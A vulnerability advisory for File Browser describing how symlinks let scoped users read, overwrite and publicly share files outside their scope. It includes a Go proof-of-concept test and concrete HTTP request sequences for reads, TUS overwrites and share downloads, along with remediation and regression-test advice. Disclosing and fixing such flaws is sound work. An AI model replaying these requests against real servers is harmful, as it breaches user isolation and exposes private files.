File Browser: Symlink following lets scoped users read, overwrite, and share files outside their filebrowser scope

The metadata layer records symlinks but does not consistently re-check the resolved target against the user's real scope:

• In files/file.go, stat() calls LstatIfPossible, sets IsSymlink, and only invokes the WithinScope containment check when file.IsSymlink == true. For Variant 1, this guard (where present) covers the final-element symlink; on the commit tested for Variant 1 the handler still resolved the target with opts.Fs.Stat(opts.Path) and served it. For Variant 2, LstatIfPossible follows a symlinked ancestor and returns the leaf as a regular file (IsSymlink == false), so stat() returns early and the scope check never runs at all.
• readListing in files/file.go follows symlink entries to display the target's metadata.
• http/raw.go builds a file object for the requested path and serves non-directories; its archive walker getFiles follows symlinks via Stat/Open, pulling linked descendants into archive downloads.
• http/resource.go writes request bodies with writeFile(d.user.Fs, r.URL.Path, ...), and the destination open follows symlinks.
• http/tus_handlers.go (tusPostHandler, tusPatchHandler) calls MkdirAll/OpenFile on the request path directly with no containment check. Because a brand-new leaf does not stat an existing file, it skips the scope check entirely.
• http/share.go stores a share for r.URL.Path without checking that the path is not a symlink escape; http/public.go later serves it for unauthenticated downloads (routed at http/http.go:90-91).
• http/data.go applies dotfile and rule checks to the request path string, but never compares the resolved symlink target against the user's real scope.

Proof of concept

Variant 1 — symlink as final path component

Harness layout: server root is a temp directory; restricted user restricted is scoped to /u1 with create, modify, rename, share, and download permissions; a second scope /u2 holds the outside target /u2/secret.txt containing other-secret; and /u1/link-out is a symlink to /u2/secret.txt.

Confirmed bypasses (route-level tests against the real HTTP handlers):

• GET /api/raw/link-out → 200 OK, body contains other-secret from /u2/secret.txt.
• POST /api/resources/link-out?override=true → 200 OK, /u2/secret.txt changed to pwn.
• POST /api/tus/link-out?override=true → 201, then PATCH /api/tus/link-out → 204, /u2/secret.txt changed.
• POST /api/share/link-out → 200 OK, created a public share whose GET /api/public/dl/{hash} returned a body containing other-secret.

Minimal core of the read proof:

root := t.TempDir()
os.MkdirAll(filepath.Join(root, "u1"), 0755)
os.MkdirAll(filepath.Join(root, "u2"), 0755)
os.WriteFile(filepath.Join(root, "u2", "secret.txt"), []byte("other-secret"), 0644)
os.Symlink(filepath.Join(root, "u2", "secret.txt"), filepath.Join(root, "u1", "link-out"))

// restricted is a File Browser user scoped to /u1 with Download permission.
rr := authenticatedRequest(t, restricted, http.MethodGet, "/api/raw/link-out", nil)
if rr.Code != http.StatusOK || !strings.Contains(rr.Body.String(), "other-secret") {
    t.Fatalf("raw symlink exposed outside target: status=%d body=%q", rr.Code, rr.Body.String())
}

Variant 2 — file reached through a symlinked ancestor

Authenticated scoped user whose scope contains a directory symlink escape_link -> /srv/users/otheruser:

# The symlink itself is correctly blocked
GET /api/resources/escape_link              -> 403 Forbidden

# A regular file THROUGH the symlinked directory is not
GET /api/resources/escape_link/private.txt  -> 200 OK  {"content":"OTHER_USER_SECRET_DATA=...",...}
GET /api/raw/escape_link/private.txt        -> 200 OK  OTHER_USER_SECRET_DATA=...

# Create/overwrite THROUGH the symlinked directory (TUS)
POST  /api/tus/escape_link/injected.txt  (Upload-Length: 20) -> 201 Created
PATCH /api/tus/escape_link/injected.txt  (Upload-Offset: 0)  -> 204 No Content  (written into /srv/users/otheruser/)

Public directory share for /shared, where /shared/link -> ../private and private/secret.txt lives outside the share:

GET /api/public/dl/<hash>/link/secret.txt     -> 200 OK  symlink-secret
GET /api/public/share/<hash>/link/secret.txt  -> 200 OK  {"path":"/link/secret.txt", ...}

Requesting the whole share as an archive pulls link/secret.txt into the zip, and listing the share root exposes the link entry with its resolved target metadata.

Controls that held

The same harness confirmed that ordinary traversal is still rejected, so this is not generic ../ traversal:

• GET /api/resources/../u2/secret.txt?checksum=sha256 did not succeed as the restricted user.
• GET /api/resources/%2e%2e/u2/secret.txt did not succeed (encoded dot-dot).
• POST /api/resources/../u2/new.txt did not create /u2/new.txt.
• PATCH /api/resources/own.txt?action=rename&destination=/../u2/moved.txt did not move a file outside scope.

Affected code

users/users.go (scope setup); files/file.go (stat, readListing); http/raw.go (getFiles); http/resource.go (writeFile destination); http/tus_handlers.go (tusPostHandler, tusPatchHandler); http/share.go; http/public.go; http/http.go:90-91 (public routes); http/data.go (string-only path checks).

Remediation

Resolve symlinks and verify that the resolved target remains inside the user's real scoped root before any file operation — serving, sharing, writing, truncating, renaming, copying, or deleting. Specifically:

• Call WithinScope (which resolves every path component with filepath.EvalSymlinks) for all paths in stat(), not only when the final element is a symlink. This closes the ancestor-symlink gap (Variant 2).
• Add a WithinScope check before MkdirAll/OpenFile in tusPostHandler and tusPatchHandler, so a not-yet-existing leaf cannot skip containment.
• Omit entries whose resolved target escapes the scope from readListing, and skip them in getFiles before stat/open/recursion.
• Apply the same resolved-path check consistently to public share creation and public share serving.
• As an alternative or defense-in-depth, reject symlinks for file operations unless an explicit administrator option enables them.

Add regression tests covering symlink reads, overwrites, TUS create/write, public shares (download, share-info, listing, and archive read paths), and the existing dot-dot controls — plus a positive test confirming that legitimately in-scope symlinks still resolve.

Limitations and non-claims

• This is not generic ../ path traversal; dot-dot and encoded dot-dot controls held in the route-level tests.
• This is not a proxy-auth confusion issue; the proofs use normal authenticated requests for a restricted user (and, for Variant 2's share case, an ordinary public-share recipient).
• The proofs assume the relevant symlink already exists inside the scoped tree, or that another allowed workflow in the deployment can place it there — for example an SMB/NFS export, a Docker bind-mount, or an admin-created link. Web-UI-only creation of the symlink from scratch was not demonstrated.